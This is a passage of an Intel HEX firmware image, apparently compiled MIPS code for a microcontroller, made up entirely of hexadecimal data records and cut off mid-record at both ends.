b4400b21b000008800a58f03\n:10ce9c000954410f02000624070040142000a42767\n:10ceac00059d043cc8c684240413410f2000a5270b\n:10cebc001bb4400b21b000008c00a58f0954410f0e\n:10cecc0002000624060040142000a427059d043c03\n:10cedc007cc884240413410f2000a5272000a4271c\n:10ceec00059d023c90c845240954410f02000624bc\n:10cefc00060040142000a427059d043c94c88424fb\n:10cf0c000413410f2000a5272000a427059d053cf4\n:10cf1c00b0c8a5240954410f020006240600401491\n:10cf2c008500a427059d043cb4c884240413410f38\n:10cf3c002000a5278500a4272200a52700ba400fb2\n:10cf4c0003000624059d043cc8c884246913410fc2\n:10cf5c008500a5931bb4400b21b000000700c05204\n:10cf6c00059d043c059d043cccc884240413410f4e\n:10cf7c002000a527e6b3400b2000a42748c7842433\n:10cf8c000413410f2000a5272000a427adb9400fa2\n:10cf9c0021288000059d043c44c784240413410fc0\n:10cfac002000a5271bb4400b21b00000040040104a\n:10cfbc00059d043cdeb4400f2000a427059d043cd5\n:10cfcc00d8c884240413410f2000a5272000a28f69\n:10cfdc006400a2af2400a28f6800a2af2800a28f29\n:10cfec006c00a2af2c00a28f7000a2af3000a28ff9\n:10cffc007400a2af3400a28f7800a2af3800a28fc9\n:10d00c007c00a2af3c00a28f8000a2af8400a0a342\n:10d01c002000a427adb9400f6400a527059d043c52\n:10d02c00e4c884240413410f2000a5272000a42762\n:10d03c00adb9400f4000a527059d043c44c784248e\n:10d04c000413410f2000a52721b000001bb4400b96\n:10d05c000100172474c784240413410f2000a52752\n:10d06c00218011022b101202040040100100132425\n:10d07c006ab3400b8028100021980000059d043ce9\n:10d08c0044c78424059d053c0413410f84c7a52483\n:10d09c0021106002b400bf8fb000b78fac00b68f08\n:10d0ac00a800b58fa400b48fa000b38f9c00b28fe2\n:10d0bc009800b18f9400b08f0800e003b800bd2732\n:10d0cc00d8ffbd272400bfaf2000b3af1c00b2af08\n:10d0dc001800b1af1400b0af219080002198a000cf\n:10d0ec0047b7400f2188c00021804000059d043cbb\n:10d0fc0078c984240413410f212860022120600286\n:10d10c005cb7400f04000524059d043c98c9842499\n:10d11c000413410f21282002212020025cb7400f6c\n:10d12c0004000524059d043cbcc984240413410f50\n:10d13c0021284002059d043ce0c984246913410f59\n:10d14c00c039057ec000117e0c0020122014107c0a\n:10d15c0004004304059d053c059d053c5db4400b56\n:10d16c00f0c8a52404c9a524059d043c0413410f53\n:10d17c00fcc984246cb4400b8001137e040043046e\n:10d18c00059d053c059d053c68b4400b14c9a524c0\n:10d19c0004c9a524059d043c0413410ffcc9842437\n:10d1ac008001137e059d043c04ca84246913410f3d\n:10d1bc002128600204006052059d053c059d053c3c\n:10d1cc0076b4400b44c9a52404c9a524059d043c90\n:10d1dc000413410ffcc984244001137e059d043cbb\n:10d1ec0020ca84246913410f212860020400605274\n:10d1fc00059d053c059d053c84b4400b44c9a52404\n:10d20c0004c9a524059d043c0413410ffcc98424c6\n:10d21c000001137e059d043c3cca84246913410f14\n:10d22c002128600204006052059d053c059d053ccb\n:10d23c0092b4400b44c9a52404c9a524059d043c03\n:10d24c000413410ffcc98424059d043c58ca842452\n:10d25c006913410f2128200204002052059d053c32\n:10d26c00059d053c9fb4400b50c9a52458c9a52465\n:10d27c00059d113c0413410ffcc924264008137e64\n:10d28c00059d043c74ca84246913410f2128600253\n:10d29c008098130000a0023cb472422421986202d0\n:10d2ac00fcc924260413410f0000658e01001032c6\n:10d2bc00059d043c90ca84246913410f2128000267\n:10d2cc0004000052059d053c059d053cb9b4400b7e\n:10d2dc0064c9a5246cc9a524059d043c0413410f05\n:10d2ec00fcc9842402005026059d043cacca84244d\n:10d2fc000413410f21280002212000025cb7400fcb\n:10d30c0003000524059d043c44c78424059d053c6d\n:10d31c000413410f84c7a524010002242400bf8fed\n:10d32c002000b38f1c00b28f1800b18f1400b08f87\n:10d33c000800e0032800bd27e0ffbd271c00bfaf9d\n:10d34c001000a0af079d043cffbf84341000a5273c\n:10d35c000400062400a0073c6e4d410f5c45e724f9\n:10d36c001c00bf8f0800e0032000bd27c8ffbd27ad\n:10d37c003400bfaf3000b1af2c00b0af079d023c02\n:10d38c00ffbf423403004388000043989801622c8d\n:10d39c00180040101000a3af21288000adb9400f39\n:10d3ac001400a4271000a28f80200200001102009c\n:10d3bc0021208200079d113c03c0313621209100b1\n:10d3cc001400a5271400062400a0103c6e4d410f3c\n:10d3dc005c4507261000a28f010042241000a2af6a\n:10d3ec00fcff24261000a527040006246e4d410fd7\n:10d3fc005c4507263400bf8f3000b18f2c00b08ff6\n:10d40c000800e0033800bd27c0ffbd273c00bfafbc\n:10d41c003800b3af3400b2af3000b1af2c00b0afb6\n:10d42c00079d023cffbf4234030043880000439831\n:10d43c001000a3af059d043c44c78424059d053c06\n:10d44c000413410f84c7a5241000a28f08004014b8\n:10d45c009901432c059d043c44c78424059d053c3f\n:10d46c000413410fd0caa52448b5400b3c00bf8f14\n:10d47c000800601480880200059d043c44c7842485\n:10d48c00059d053c0413410fe8caa52448b5400b83\n:10d49c003c00bf8f0011020021882202079d103c26\n:10d4ac0003c010362188300220001324059d123c45\n:10d4bc00fcc952260300038a0000039a0700028a63\n:10d4cc000400029a1400a3af1800a2af1c00b3a36f\n:10d4dc000800022603004388000043980700458893\n:10d4ec00040045982000a3ab1d00a3bb2400a5abf2\n:10d4fc002100a5bb2500a0a3212040020413410f4d\n:10d50c001400a52714001026ebff11560300038a04\n:10d51c003c00bf8f3800b38f3400b28f3000b18f16\n:10d52c002c00b08f0800e0034000bd27f8ffbd279a\n:10d53c000400beaf21f0a0030800c4af0c00c5afbf\n:10d54c002110c0001000c2a31000c2936400032479\n:10d55c001b006200f40140001010000012100000cb\n:10d56c000c00c38f1b006200f4014000101000007f\n:10d57c00121000000c00c38f231862000800c28f29\n:10d58c002b10620015004010000000001000c29328\n:10d59c00640003241b006200f40140001010000022\n:10d5ac00121000000c00c38f1b006200f40140003d\n:10d5bc0010100000121800000c00c28f211862001d\n:10d5cc000800c28f2b104300040040100000000024\n:10d5dc00010002247bb5400b00000000211000006c\n:10d5ec0021e8c0030400be8f0800bd270800e0033b\n:10d5fc0000000000e8ffbd271400beaf21f0a0031f\n:10d60c001800c4af2110a0001c00c2a30400c0afbe\n:10d61c00010002240800c2af0000c0a3a3b5400b58\n:10d62c00000000001c00c3930000c2932310620092\n:10d63c00ffff42241800c38f2110620000004290ab\n:10d64c00d0ff4224211840000800c28f180062004d\n:10d65c000400c28f12180000211043000400c2af56\n:10d66c000800c28f401002008018020021104300f5\n:10d67c000800c2af0000c293010042240000c2a304\n:10d68c000000c3931c00c2932b106200e5ff4014f2\n:10d69c00000000000400c28f21e8c0031400be8ffc\n:10d6ac001800bd270800e00300000000e0ffbd27c4\n:10d6bc001c00beaf21f0a0032000c4af2110a000bd\n:10d6cc002400c2a321100000211800000800c2afe2\n:10d6dc000c00c3af0100022421180000130040000d\n:10d6ec001100600012100000101800001000c2aff2\n:10d6fc001400c3af0000c0a3fdb5400b0000000038\n:10d70c002400c3930000c29323106200ffff422445\n:10d71c002000c38f2110620000004290d0ff4224f1\n:10d72c0021404000c3170200214840001000c28f66\n:10d73c00021049701400c38f180068001218000002\n:10d74c00211043001000c38f190068001220000044\n:10d75c001028000021104500212840000800cc8f23\n:10d76c000c00cd8f211084012b704c002118a501c9\n:10d77c002120c301211880000800c2af0c00c3afe8\n:10d78c001000c28f1400c38f130040001100600002\n:10d79c001210000010180000c227020040580300ad\n:10d7ac0025588b00405002002110400121186001c7\n:10d7bc008227020080380300253887008030020061\n:10d7cc00212046002b608200212867002110850152\n:10d7dc00212840001000c4af1400c5af0000c29354\n:10d7ec00010042240000c2a30000c3932400c29392\n:10d7fc002b106200c2ff4014000000000800c28f12\n:10d80c000c00c38f130040001100600012100000c8\n:10d81c0010180000130040001100600012100000ee\n:10d82c001018000021e8c0031c00be8f2000bd278b\n:10d83c000800e00300000000f0ffbd270c00beafa5\n:10d84c0021f0a0031000c4af2110a0001400c2a34b\n:10d85c000000c0af27b6400b000000001000c28fc4\n:10d86c00010043241000c3af000042902118400077\n:10d87c001400c293ffff44241400c4a3ffff4224ee\n:10d88c00041043000000c38f211062000000c2afdf\n:10d89c001400c293f1ff4014000000000000c28f7e\n:10d8ac0021e8c0030c00be8f1000bd270800e00368\n:10d8bc0000000000f8ffbd270400beaf21f0a0035c\n:10d8cc000800c4af0c00c5af1000c6af42b6400b89\n:10d8dc00000000000800c28f010043240800c3af01\n:10d8ec001000c38f0c00c48f06186400ff00633057\n:10d8fc0001006330ff006330000043a01000c28fb2\n:10d90c00ffff43241000c3aff2ff401400000000df\n:10d91c0021e8c0030400be8f0800bd270800e00307\n:10d92c0000000000f8ffbd270400beaf21f0a003eb\n:10d93c000800c4af0c00c5af1000c6af5eb6400bfc\n:10d94c00000000000800c28f010043240800c3af90\n:10d95c001000c38f0c00c48f06186400ff006330e6\n:10d96c0001006330ff006330000043a01000c28f41\n:10d97c00ffff43241000c3aff2ff4014000000006f\n:10d98c0021e8c0030400be8f0800bd270800e00397\n:10d99c0000000000f8ffbd270400beaf21f0a0037b\n:10d9ac000800c4af1000c6af1400c7af86b6400b5a\n:10d9bc00000000000800c58f0100a4240800c4afbb\n:10d9cc001800c48f20008630213800001400c88f46\n:10d9dc0040480800ffff0824264088000440090145\n:10d9ec001000c98f06108900251002011400c88f81\n:10d9fc00061888000b1066000b18e600ff00443078\n:10da0c0001008430ff0084300000a4a01800c48ff3\n:10da1c00ffff85241800c5afe6ff8014000000004e\n:10da2c0021e8c0030400be8f0800bd270800e003f6\n:10da3c0000000000d8ffbd272400bfaf2000beaf00\n:10da4c0021f0a0032800c4af2c00c5af1000c227e2\n:10da5c0021204000059d023c644c45242c00c68fbf\n:10da6c00e455410f000000002800c48f1000c227ad\n:10da7c002128400008000624214b410f0000000023\n:10da8c000100022421e8c0032400bf8f2000be8fb8\n:10da9c002800bd270800e00300000000d0ffbd27d0\n:10daac002c00bfaf2800beaf21f0a0033000c4afe4\n:10dabc003800c6af3c00c7af1000c2272120400081\n:10dacc00059d023c6c4c45243800c68f3c00c78f2a\n:10dadc00e455410f000000003000c48f1000c22735\n:10daec002128400010000624214b410f00000000ab\n:10dafc000100022421e8c0032c00bf8f2800be8f38\n:10db0c003000bd270800e00300000000e8ffbd273f\n:10db1c001400bfaf1000beaf21f0a0031800c4afbb\n:10db2c001c00c5af2000c6af1800c48f1c00c58fe9\n:10db3c002000c68f30b6400f000000001800c48fc4\n:10db4c001800c58f2000c68f8eba400f0000000051\n:10db5c0021e8c0031400bf8f1000be8f1800bd2732\n:10db6c000800e00300000000e8ffbd271400bfaf71\n:10db7c001000beaf21f0a0031800c4af1c00c5af4d\n:10db8c002000c6af1800c48f1c00c58f2000c68fa4\n:10db9c004cb6400f000000001800c48f1800c58f51\n:10dbac002000c68f8eba400f0000000021e8c00391\n:10dbbc001400bf8f1000be8f1800bd270800e003b3\n:10dbcc0000000000f0ffbd270c00beaf21f0a00349\n:10dbdc001000c4af2110a0001400c2a3211000003b\n:10dbec00211800000000c2af0400c3af16b7400bf1\n:10dbfc00000000001000c28f010043241000c3afce\n:10dc0c0000004290211840001400c293ffff4424ee\n:10dc1c001400c4a3ffff4224041043002130400031\n:10dc2c00c3170200213840000000c48f0400c58fc8\n:10dc3c00211086002b4044002118a700212003014d\n:10dc4c00211880000000c2af0400c3af1400c293bf\n:10dc5c00e8ff4014000000000000c28f0400c38fd6\n:10dc6c00130040001100600012100000101800009a\n:10dc7c00130040001100600012100000101800008a\n:10dc8c0021e8c0030c00be8f1000bd270800e00384\n:10dc9c0000000000f0ffbd270c00beaf21f0a00378\n:10dcac001000c4af2110a0001400c2a30000c0af2c\n:10dcbc003eb7400b000000001000c28f010043244f\n:10dccc001000c3af00004290211840001400c29312\n:10dcdc00ffff44241400c4a3ffff4224041043009c\n:10dcec000000c38f211062000000c2af1400c29369\n:10dcfc00f1ff4014000000000000c28f21e8c003b7\n:10dd0c000c00be8f1000bd270800e00300000000cf\n:10dd1c00e0ffbd271c00bfaf1800beaf21f0a00371\n:10dd2c002000c4af1000c0af2000c48f059d023c82\n:10dd3c00744c45241000c227213040000357410f7a\n:10dd4c00000000001000c28fff00423021e8c00329\n:10dd5c001c00bf8f1800be8f2000bd270800e003f9\n:10dd6c0000000000e0ffbd271c00bfaf1800beafd5\n:10dd7c0021f0a0032000c4af2110a0002400c2a3f6\n:10dd8c001000c0a31100c0a37eb7400b0000000020\n:10dd9c002000c48f47b7400f000000001000c2a342\n:10ddac001000c2932000422c05004014000000001b\n:10ddbc001000c2937f00422c0300401400000000ae\n:10ddcc002e0002241000c2a3059d023c784c442472\n:10dddc001000c227212840000413410f000000004e\n:10ddec002000c28f020042242000c2af2000c28f4c\n:10ddfc000000429006004010000000002400c29376\n:10de0c00ffff43242400c3a3e1ff401400000000e3\n:10de1c0021e8c0031c00bf8f1800be8f2000bd2757\n:10de2c000800e00300000000e0ffbd271c00bfafae\n:10de3c001800beaf21f0a0032000c4af1000c0af8b\n:10de4c002000c48f059d023c7c4c45241000c22749\n:10de5c00213040000357410f000000002118400002\n:10de6c0001000224040062100000000021100000d8\n:10de7c00a2b7400b000000001000c28f21e8c003c5\n:10de8c001c00bf8f1800be8f2000bd270800e003c8\n:10de9c0000000000d8ffbd272400bfaf2000beaf9c\n:10deac0021f0a0032800c4af1000c0af2800c48f1d\n:10debc007b4b410f00000000211840000800022499\n:10decc00040062100000000021100000dbb7400bc2\n:10dedc00000000001400c0a3d6b7400b00000000e7\n:10deec001800c2272800c48f059d033c744c652480\n:10defc00213040000357410f000000002118400062\n:10df0c000100022404006210000000002110000037\n:10df1c00dbb7400b000000001800c38f1400c29345\n:10df2c00c0100200041043001000c38f21106200c7\n:10df3c001000c2af2800c28f020042242800c2afda\n:10df4c001400c293010042241400c2a31400c29313\n:10df5c000400422ce2ff4014000000001000c28fad\n:10df6c0021e8c0032400bf8f2000be8f2800bd27ee\n:10df7c000800e00300000000a8ffbd275400bfaf5d\n:10df8c005000beaf21f0a0035800c4af1000c22750\n:10df9c00212040005800c58fcbb8400f0000000076\n:10dfac002118400040000224040062100000000010\n:10dfbc0018000000f9b7400b000000001000c22749\n:10dfcc002120400040000524f4b6400f0000000062\n:10dfdc001300400011006000121000001018000027\n:10dfec001300400011006000121000001018000017\n:10dffc0021e8c0035400bf8f5000be8f5800bd27ce\n:10e00c000800e00300000000c8ffbd273400bfafcc\n:10e01c003000beaf2c00b1af2800b0af21f0a00390\n:10e02c003800c4af21100000211800001000c2af4e\n:10e03c001400c3af2000c0a31800c2270400422460\n:10e04c002120400030000524040006247152410fa9\n:10e05c00000000003800c28f080042241800c327bb\n:10e06c00212060002128400004000624214b410f90\n:10e07c00000000001800c22721204000a8b7400f64\n:10e08c00000000001000c2af1400c0af1000c28f1f\n:10e09c00001002001400c2af1000c0af1800c2275d\n:10e0ac00212040003800c58f08000624214b410f69\n:10e0bc00000000001800c22721204000a8b7400f24\n:10e0cc000000000021804000218800001000c48f57\n:10e0dc001400c58f211090002b3044002118b10082\n:10e0ec002120c300211880001000c2af1400c3af60\n:10e0fc001000c28f1400c38f130040001100600089\n:10e10c0012100000101800001300400011006000f5\n:10e11c00121000001018000021e8c0033400bf8f5b\n:10e12c003000be8f2c00b18f2800b08f3800bd2777\n:10e13c000800e00300000000d0ffbd272c00bfaf9b\n:10e14c002800beaf2400b3af2000b2af1c00b1afab\n:10e15c001800b0af21f0a0033000c4af3400c5af3d\n:10e16c001100c0a31400c0a31500c0a31600c0a3c7\n:10e17c003000c28f2120000021280000000044ac98\n:10e18c00040045ac3400c48f7b4b410f00000000f1\n:10e19c00010042300400401000000000211000007b\n:10e1ac00c1b8400b000000003400c48f7b4b410f02\n:10e1bc00000000001100422c05004014000000007b\n:10e1cc000e0002241000c2a3bdb8400b00000000da\n:10e1dc003400c48f7b4b410f00000000ff00423025\n:10e1ec00feff4224ff0042301000c2a3bdb8400b1a\n:10e1fc00000000001000c2833400c38f21106200a5\n:10e20c00000042901400c2a31000c28301004224fb\n:10e21c003400c38f21106200000042901500c2a38d\n:10e22c001400c22721204000059d023c804c45244f\n:10e23c00e88086270357410f0000000004004014bb\n:10e24c000000000021100000c1b8400b00000000cd\n:10e25c003000c28f0000448c0400458ce880828f13\n:10e26c0021904000219800001100c283200043300f\n:10e27c002130000042401200ffff072426384700df\n:10e28c000638e800048853002588f1000480520009\n:10e29c000b8803020b80c300211090002b3044002c\n:10e2ac002118b1002120c300211880001300400068\n:10e2bc00110060003000c28f1220000010280000f6\n:10e2cc00000044ac040045ac1100c2930800422489\n:10e2dc00ff0042301100c2a31000c293feff422483\n:10e2ec00ff0042301000c2a31000c283c1ff4104e2\n:10e2fc00000000000100022421e8c0032c00bf8fa5\n:10e30c002800be8f2400b38f2000b28f1c00b18f69\n:10e31c001800b08f3000bd270800e003000000009b\n:10e32c00d8ffbd272400bfaf2000beaf21f0a00353\n:10e33c002800c4af2c00c5af1800c0af2c00c48f90\n:10e34c007b4b410f000000001000c2af1eb9400b08\n:10e35c00000000002c00c28f010043242c00c3af2e\n:10e36c00000042901c00c2a31c00c2936100422c0e\n:10e37c0008004014000000001c00c2936700422cef\n:10e38c0004004010000000001c00c293e0ff422477\n:10e39c001c00c2a31c00c2933000422c0a00401483\n:10e3ac00000000001c00c2933a00422c06004010f2\n:10e3bc00000000001c00c293d0ff42241c00c2a32a\n:10e3cc0005b9400b000000001c00c2934100422c18\n:10e3dc000a004014000000001c00c2934700422cad\n:10e3ec0006004010000000001c00c293c9ff42242c\n:10e3fc001c00c2a305b9400b000000002110000056\n:10e40c0024b9400b000000001400c0af1ab9400b37\n:10e41c00000000002800c28f010043242800c3af75\n:10e42c001c00c493030005241400c38f2318a300fd\n:10e43c0007186400ff00633001006330ff00633095\n:10e44c00000043a01400c28f010042241400c2af8c\n:10e45c001800c28f010042241800c2af1400c28ff2\n:10e46c000400422cebff4014000000001000c28f8f\n:10e47c00ffff43241000c3afb6ff401400000000a0\n:10e48c001800c28f21e8c0032400bf8f2000be8f6c\n:10e49c002800bd270800e00300000000e0ffbd27b6\n:10e4ac001c00bfaf1800beaf21f0a0032000c4af0a\n:10e4bc002400c5af2000c48f2400c58fcbb8400ffb\n:10e4cc00000000001000c2af1000c28f0400401406\n:10e4dc00000000002110000041b9400b00000000ba\n:10e4ec002000c48f2000c58f1000c68f8eba400f3d\n:10e4fc00000000001000c28f21e8c0031c00bf8f79\n:10e50c001800be8f2000bd270800e00300000000ab\n:10e51c00e0ffbd271c00bfaf1800beaf21f0a00369\n:10e52c002000c4af2400c5af2800c6af2800c28f9e\n:10e53c001400c2af2800c28f0500422c0500401009\n:10e54c00000000002800c28f1200c2a387b9400b44\n:10e55c0000000000040002241200c2a387b9400b83\n:10e56c00000000001100c0a31100c2931000c2a350\n:10e57c0075b9400b000000001000c2932400c38f3b\n:10e58c002110620000004290211840001200c2933a\n:10e59c00ffff44241000c293231082000410430098\n:10e5ac00ff0043301100c293211062001100c2a37e\n:10e5bc001000c293010042241000c2a31400c28fa9\n:10e5cc00ffff42241400c2af1000c2930400422c7f\n:10e5dc00e9ff4014000000001100c2932000c48f1a\n:10e5ec00059d033c804c652421304000e455410fcf\n:10e5fc00000000002000c28f010042242000c2afa6\n:10e60c001000c2932400c38f211062002400c2affb\n:10e61c001400c28fd3ff4014000000002800c28fea\n:10e62c0021e8c0031c00bf8f1800be8f2000bd273f\n:10e63c000800e00300000000e8ffbd271400bfaf96\n:10e64c001000beaf21f0a0031800c4af1c00c5af72\n:10e65c00a2b9400b000000001800c28f0100432437\n:10e66c001800c3af00004290059d033c844c642409\n:10e67c00212840006913410f000000001c00c28fcc\n:10e68c00ffff43241c00c3aff3ff40140000000045\n:10e69c0021e8c0031400bf8f1000be8f1800bd27e7\n:10e6ac000800e00300000000d8ffbd272400bfaf26\n:10e6bc002000beaf21f0a0032800c4af2c00c5afd2\n:10e6cc002c00c48f7b4b410f000000001400c2af24\n:10e6dc001400c28f1800c2af1800c28f0500422c64\n:10e6ec0005004010000000001800c28f1200c2a3e9\n:10e6fc00f6b9400b00000000040002241200c2a373\n:10e70c00f6b9400b000000001100c0a31100c29329\n:10e71c001000c2a3deb9400b000000001000c29331\n:10e72c002c00c38f2110620000004290d0ff4324c4\n:10e73c001200c293ffff44241000c29323108200e6\n:10e74c0004104300ff0043301100c29321106200fb\n:10e75c001100c2a31000c293010042241000c2a3f6\n:10e76c001400c28fffff42241400c2af1000c293ea\n:10e77c000400422c07004010000000001000c2935f\n:10e78c002c00c38f2110620000004290e3ff401464\n:10e79c00000000001100c2932800c48f059d033cab\n:10e7ac00804c652421304000e455410f00000000ee\n:10e7bc002800c28f010042242800c2af1000c2936f\n:10e7cc002c00c38f211062002c00c2af1400c28f2a\n:10e7dc00cdff4014000000001800c28f21e8c003d8\n:10e7ec002400bf8f2000be8f2800bd270800e00347\n:10e7fc0000000000f0ffbd270c00beaf21f0a0030d\n:10e80c001000c4af1400c5af2110c0001800c2a383\n:10e81c000000c0a31000c28f000040a021ba400b22\n:10e82c00000000001000c28f000043901800c2933b\n:10e83c00ffff42241400c48f21108200000042907c\n:10e84c00d0ff44240000c29304104400ff00423067\n:10e85c0021106200ff0043301000c28f000043a063\n:10e86c001800c293ffff42241800c2a30000c293f9\n:10e87c00010042240000c2a31800c293e9ff401417\n:10e88c000000000021e8c0030c00be8f1000bd2763\n:10e89c000800e00300000000f8ffbd270400beaf35\n:10e8ac0021f0a003211880002110a0000800c3a3b0\n:10e8bc000c00c2a30800c3930c00c29307104300c2\n:10e8cc00ff00423001004230ff00423021e8c0031b\n:10e8dc000400be8f0800bd270800e0030000000004\n:10e8ec00e8ffbd271400bfaf1000beaf21f0a0039e\n:10e8fc001800c4af1c00c5af2000c6af50ba400b07\n:10e90c00000000001800c38f010062241800c2af81\n:10e91c001c00c28f010044241c00c4af21206000e5\n:10e92c00059d033c804c652421304000e455410f8b\n:10e93c00000000002000c28fffff43242000c3af63\n:10e94c00f0ff40140000000021e8c0031400bf8f4a\n:10e95c001000be8f1800bd270800e0030000000067\n:10e96c00e0ffbd271c00bfaf1800beaf21f0a00315\n:10e97c002000c4af2400c5af2400c48f7b4b410fd3\n:10e98c00000000001400c2af1000c0af82ba400bf0\n:10e99c00000000002400c28f0000439030000224cd\n:10e9ac0009006210000000002400c28f0000439098\n:10e9bc00310002240400621000000000211000004d\n:10e9cc0088ba400b000000002000c28f01004324d5\n:10e9dc002000c3af2400c38f010064242400c4af03\n:10e9ec0000006390d0ff6324ff006330000043a05d\n:10e9fc001000c28f010042241000c2af1000c38f60\n:10ea0c001400c28f2b106200e2ff401400000000c3\n:10ea1c001400c28f21e8c0031c00bf8f1800be8fea\n:10ea2c002000bd270800e00300000000f0ffbd2718\n:10ea3c000c00beaf21f0a0031000c4af1400c5af92\n:10ea4c001800c6af0000c0afa4ba400b0000000015\n:10ea5c001000c28f010043241000c3af1400c38ff9\n:10ea6c00010064241400c4af0000639030006324e0\n:10ea7c00ff006330000043a00000c28f010042245d\n:10ea8c000000c2af0000c38f1800c28f2b106200b1\n:10ea9c00efff4014000000001000c28f000040a0e7\n:10eaac0021e8c0030c00be8f1000bd270800e00356\n:10eabc0000000000f8ffbd270400beaf21f0a0034a\n:10eacc000800c4af0c00c5af1000c6afc2ba400bf3\n:10eadc00000000000800c28f010043240800c3afef\n:10eaec000c00c38f010064240c00c4af00006390c1\n:10eafc000100632cff006330000043a01000c28fa4\n:10eb0c00ffff43241000c3aff2ff401400000000cd\n:10eb1c0021e8c0030400be8f0800bd270800e003f5\n:10eb2c0000000000e0ffbd271c00bfaf1800beaf07\n:10eb3c0021f0a0032000c4af2400c5af2400c48f73\n:10eb4c007b4b410f000000001000c2afe7ba400b36\n:10eb5c00000000002000c28f010043242000c3af3e\n:10eb6c002400c38f010064242400c4af000064900f\n:10eb7c00300003240400831400000000310003243f\n:10eb8c00e6ba400b0000000030000324000043a054\n:10eb9c001000c28fffff43241000c3afedff4014e1\n:10ebac000000000021e8c0031c00bf8f1800be8fbe\n:10ebbc002000bd270800e00300000000e0ffbd2797\n:10ebcc001c00bfaf1800beaf21f0a0032000c4afe3\n:10ebdc0000a0023cdc1c44242000c58fcbb8400fa5\n:10ebec00000000001000c2af00a0023cdc1c44245a\n:10ebfc001000c58f20bb400f0000000021e8c003af\n:10ec0c001c00bf8f1800be8f2000bd270800e0033a\n:10ec1c0000000000e8ffbd271400bfaf1000beaf1e\n:10ec2c0021f0a0031800c4af00a0023cdc1c44245b\n:10ec3c001800c58fadb9400f000000000700401050\n:10ec4c0000000000059d023c8c4c442400a0023cba\n:10ec5c00dc1c45240413410f0000000021e8c00314\n:10ec6c001400bf8f1000be8f1800bd270800e003f2\n:10ec7c0000000000e8ffbd271400bfaf1000beafbe\n:10ec8c0021f0a0031800c4af1c00c5af40bb400b63\n:10ec9c00000000001800c28f000042900200422cbd\n:10ecac000a004014000000001800c28f00004290bf\n:10ecbc00059d033c944c6424212840006913410faa\n:10eccc00000000003dbb400b000000001800c28f8c\n:10ecdc0000004290059d033c984c64242128400080\n:10ecec006913410f000000001800c28f010042247c\n:10ecfc001800c2af1c00c28fffff43241c00c3af1f\n:10ed0c00e4ff401400000000059d023c784c4424b4\n:10ed1c00059d023c9c4c45240413410f000000004f\n:10ed2c0021e8c0031400bf8f1000be8f1800bd2750\n:10ed3c000800e00300000000e0f7bd271c08bfaf8f\n:10ed4c001808beaf21f0a0032008c4af2408c5af3b\n:10ed5c002808c6af1000c0af7dbb400b0000000000\n:10ed6c002408c28f010043242408c3af0000429042\n:10ed7c0010004010000000001000c28f010043245e\n:10ed8c001000c3af1000c327211062000100032440\n:10ed9c00040043a01000c28f010043241000c3af35\n:10edac001000c32721106200040040a07dbb400b63\n:10edbc00000000001000c28f010043241000c3affc\n:10edcc001000c32721106200040040a01000c28f65\n:10eddc00010043241000c3af1000c32721106200b0\n:10edec0001000324040043a02808c28fffff432422\n:10edfc002808c3afdaff4014000000001400c2273b\n:10ee0c002008c48f212840001000c68f214b410fd1\n:10ee1c00000000001000c28f21e8c0031c08bf8f47\n:10ee2c001808be8f2008bd270800e0030000000072\n:10ee3c00f0ffbd270c00beaf21f0a0031000c4af43\n:10ee4c001400c5af1800c6af0000c0afafbb400b7d\n:10ee5c00000000001400c28f000043901400c28f09\n:10ee6c0001004224000042900500621400000000e2\n:10ee7c000000c28f42100200b6bb400b0000000025\n:10ee8c001000c28f010043241000c3af1400c38fc5\n:10ee9c0000006390000043a01400c28f02004224c3\n:10eeac001400c2af0000c28f020042240000c2afa7\n:10eebc000000c38f1800c28f2b106200e5ff4014b6\n:10eecc00000000000000c28f4210020021e8c003c5\n:10eedc000c00be8f1000bd270800e00300000000ee\n:10eeec00f0ffbd270c00beaf21f0a0031000c4af93\n:10eefc000000c0afdabb400b000000000000c28f66\n:10ef0c001000c38f21106200000043800d0002240a\n:10ef1c0008006210000000000000c28f1000c38fb8\n:10ef2c0021106200000043800a00022408006214d1\n:10ef3c00000000000000c28f1000c38f211062007f\n:10ef4c00000040a01000c28fe1bb400b000000008d\n:10ef5c000000c28f010042240000c2af0000c28f2b\n:10ef6c001000c38f2110620000004280e3ff4014a8\n:10ef7c00000000001000c28f21e8c0030c00be8fff\n:10ef8c001000bd270800e00300000000e8ffbd27cb\n:10ef9c001400bfaf1000beaf21f0a0031800c4af27\n:10efac00d480829314004014000000001800c28f1b\n:10efbc000900401000000000059d023c784c4424e0\n:10efcc00059d023ca04c45240413410f0000000099\n:10efdc0012bc400b00000000059d023c784c442400\n:10efec00059d023ca44c45240413410f0000000075\n:10effc0012bc400b000000001800c28f090040102a\n:10f00c0000000000059d023c784c4424059d023c08\n:10f01c009c4c45240413410f0000000012bc400b13\n:10f02c0000000000059d023c784c4424059d023ce8\n:10f03c00a84c45240413410f0000000001000224d9\n:10f04c0021e8c0031400bf8f1000be8f1800bd272d\n:10f05c000800e00300000000e8ffbd271400bfaf6c\n:10f06c001000beaf21f0a0031800c4afd48082936f\n:10f07c000800401400000000059d023cb44c4424e0\n:10f08c001800c58f0413410f000000002dbc400b6d\n:10f09c0000000000059d023cbc4c44241800c58fa8\n:10f0ac000413410f000000000100022421e8c003fa\n:10f0bc001400bf8f1000be8f1800bd270800e0039e\n:10f0cc0000000000e8ffbd271400bfaf1000beaf6a\n:10f0dc0021f0a003d48082930700401400000000ac\n:10f0ec00059d023c784c4424059d023cc84c4524ab\n:10f0fc000413410f000000002110000021e8c003a0\n:10f10c001400bf8f1000be8f1800bd270800e0034d\n:10f11c0000000000d8ffbd272400bfaf2000beaf09\n:10f12c001c00b0af21f0a0032800c4af1000c0af8a\n:10f13c006ebc400b000000001000c28f2800c38f73\n:10f14c00211062000000428061004228140040142b\n:10f15c00000000001000c28f2800c38f2110620035\n:10f16c00000042807b0042280d004010000000008f\n:10f17c001000c28f2800c38f211062001000c38fb3\n:10f18c002800c48f2118830000006380ff006330c7\n:10f19c00e0ff6324ff006330201c037c000043a0cd\n:10f1ac001000c28f010042241000c2af1000d08f9b\n:10f1bc002800c48f7b4b410f000000002b10020273\n:10f1cc00ddff4014000000007ebc400b000000007e\n:10f1dc002800c48f7b4b410f00000000ffff42242e\n:10f1ec002800c38f21106200000040a02800c48fab\n:10f1fc007b4b410f00000000ffff42242800c38f0f\n:10f20c00211062000000438020000224f0ff6210f5\n:10f21c000000000021e8c0032400bf8f2000be8f37\n:10f22c001c00b08f2800bd270800e0030000000080\n:10f23c00e8ffbd271400beaf21f0a0031800c4af37\n:10f24c001c00c5af1c00c28f421002000400c2afec\n:10f25c001800c28f0000c2afb1bc400b0000000010\n:10f26c001c00c28fffff42241800c38f21106200c4\n:10f27c00000042900800c2a31c00c28fff